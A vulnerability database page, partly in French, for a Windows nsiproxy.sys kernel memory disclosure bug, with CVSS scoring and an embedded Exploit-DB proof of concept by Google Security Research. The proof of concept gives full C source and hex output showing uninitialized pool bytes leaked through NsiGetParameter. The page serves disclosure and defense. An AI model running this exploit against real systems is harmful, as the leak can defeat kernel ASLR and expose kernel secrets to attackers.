Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-200 |
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V3.0 |
5.5 |
MEDIUM |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack ComplexityThis metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User InteractionThis metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. ScopeFormally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is no loss of integrity within the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is no impact to availability within the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
2.1 |
|
AV:L/AC:L/Au:N/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 42338
Date de publication : 2017-07-17 22:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
/*
We have discovered that the handler of the 0x120007 IOCTL in nsiproxy.sys (\\.\Nsi device) discloses portions of uninitialized pool memory to user-mode clients, likely due to output structure alignment holes.
On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 ................
000000a0: 00 00 00 00 ff 00 ff ff 00 00 00 00 ff ff ff ff ................
000000b0: 00 00 00 00 00 00 00 00 ........
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As can be seen, a total of 13 bytes (out of 184) scattered across the structure are disclosed to the client application. The bug manifests itself through a call to the undocumented NSI!NsiGetParameter userland function, in the same fashion that it is called in WSDApi!CWSDInterfaceTable::GetInterfaceProfiles:
--- cut ---
.text:6EA52AFF push eax
.text:6EA52B00 push ebx
.text:6EA52B01 lea eax, [ebp+var_BC]
.text:6EA52B07 push eax
.text:6EA52B08 push 0
.text:6EA52B0A push 8
.text:6EA52B0C lea eax, [ebp+InterfaceLuid]
.text:6EA52B12 push eax
.text:6EA52B13 push 7
.text:6EA52B15 push offset _NPI_MS_IPV4_MODULEID
.text:6EA52B1A push 1
.text:6EA52B1C call _NsiGetParameter@36 ; NsiGetParameter(x,x,x,x,x,x,x,x,x)
--- cut ---
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for netio.sys. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools (0x3d or '=' in this case), and would otherwise contain leftover data that was previously stored in that memory region:
--- cut ---
Number of Adapters: 1
Adapter Index[0]: 11
00000000: 00 00 00 00 00 01 01 00 00 00 01 01 00[3d 3d 3d].............===
00000010: 00 00 00 00 02 00 00 00 00 00 00 00 0a 00 00 00 ................
00000020: 30 75 00 00 e8 03 00 00 c0 27 09 00 03 00 00 00 0u.......'......
00000030: 01 00 00 00 64 19 00 00 0b 00 00 00 0b 00 00 00 ....d...........
00000040: 0b 00 00 00 0b 00 00 00 01 00 00 00 01 00 00 00 ................
00000050: 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 ................
00000060: 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 ................
00000070: 00 00 00 00 01 00 00 00 dc 05 00 00 40 00 00 00 ............@...
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00[3d 3d 3d]08 07 00 00 .........===....
000000a0: 01 00 00 00[3d]00[3d 3d]00 00 00 00[3d 3d 3d 3d]....=.==....====
000000b0: 6b 0a 34 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? k.4.............
--- cut ---
At least one local network adapter must be installed on the tested machine to observe the bug. The PoC source code is based on the code sample from https://msdn.microsoft.com/en-us/library/windows/desktop/aa365947(v=vs.85).aspx (in order to list network interfaces) and http://www.nynaeve.net/Code/GetInterfaceMetric.cpp (in order to resolve and call NSI!NsiGetParameter).
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
// Based on example code from https://msdn.microsoft.com/en-us/library/windows/desktop/aa365947(v=vs.85).aspx
// and http://www.nynaeve.net/Code/GetInterfaceMetric.cpp.
#include <winsock2.h>
#include <ws2ipdef.h>
#include <iphlpapi.h>
#include <stdio.h>
#include <objbase.h>
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "Ole32.lib")
#define MALLOC(x) HeapAlloc(GetProcessHeap(), 0, (x))
#define FREE(x) HeapFree(GetProcessHeap(), 0, (x))
/* Note: could also use malloc() and free() */
//
// Suspected prototype of NsiGetParameter, via reverse engineering.
//
typedef DWORD (__stdcall *NsiGetParameterProc)(
DWORD Argument1,
CONST UCHAR* Argument2,
DWORD Argument3,
PNET_LUID Argument4,
DWORD Argument5,
DWORD Argument6,
PUCHAR Argument7,
DWORD Argument8,
DWORD Argument9
);
/*
0:000> db NPI_MS_IPV4_MODULEID l14
751b3364 18 00 00 00 01 00 00 00-00 4a 00 eb 1a 9b d4 11
751b3374 91 23 00 50 04 77 59 BC
*/
const unsigned char NPI_MS_IPV4_MODULEID[0x18] =
{
0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11,
0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC
};
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
HMODULE hNsi = LoadLibraryW(L"Nsi.dll");
NsiGetParameterProc _NsiGetParameter = (NsiGetParameterProc)GetProcAddress(hNsi, "NsiGetParameter");
// Declare and initialize variables
PIP_INTERFACE_INFO pInfo = NULL;
ULONG ulOutBufLen = 0;
DWORD dwRetVal = 0;
int iReturn = 1;
int i;
// Make an initial call to GetInterfaceInfo to get
// the necessary size in the ulOutBufLen variable
dwRetVal = GetInterfaceInfo(NULL, &ulOutBufLen);
if (dwRetVal == ERROR_INSUFFICIENT_BUFFER) {
pInfo = (IP_INTERFACE_INFO *)MALLOC(ulOutBufLen);
if (pInfo == NULL) {
printf
("Unable to allocate memory needed to call GetInterfaceInfo\n");
return 1;
}
}
// Make a second call to GetInterfaceInfo to get
// the actual data we need
dwRetVal = GetInterfaceInfo(pInfo, &ulOutBufLen);
if (dwRetVal == NO_ERROR) {
printf("Number of Adapters: %ld\n\n", pInfo->NumAdapters);
for (i = 0; i < pInfo->NumAdapters; i++) {
printf("Adapter Index[%d]: %ld\n", i,
pInfo->Adapter[i].Index);
NET_LUID Luid;
NETIO_STATUS st = ConvertInterfaceIndexToLuid(pInfo->Adapter[i].Index, &Luid);
if (st == NO_ERROR) {
BYTE OutputBuffer[0xB8] = { /* zero padding */ };
DWORD nsi_st = _NsiGetParameter(1, NPI_MS_IPV4_MODULEID, 7, &Luid, sizeof(Luid), 0, OutputBuffer, sizeof(OutputBuffer), 0);
if (nsi_st == NO_ERROR) {
PrintHex(OutputBuffer, sizeof(OutputBuffer));
}
}
}
iReturn = 0;
}
else if (dwRetVal == ERROR_NO_DATA) {
printf
("There are no network adapters with IPv4 enabled on the local system\n");
iReturn = 0;
}
else {
printf("GetInterfaceInfo failed with error: %d\n", dwRetVal);
iReturn = 1;
}
FREE(pInfo);
return (iReturn);
}
Products Mentioned
Configuraton 0
Microsoft>>Windows_10 >> Version -
Microsoft>>Windows_10 >> Version 1511
Microsoft>>Windows_10 >> Version 1607
Microsoft>>Windows_10 >> Version 1703
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_8.1 >> Version -
Microsoft>>Windows_rt_8.1 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2012 >> Version -
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_server_2016 >> Version -
References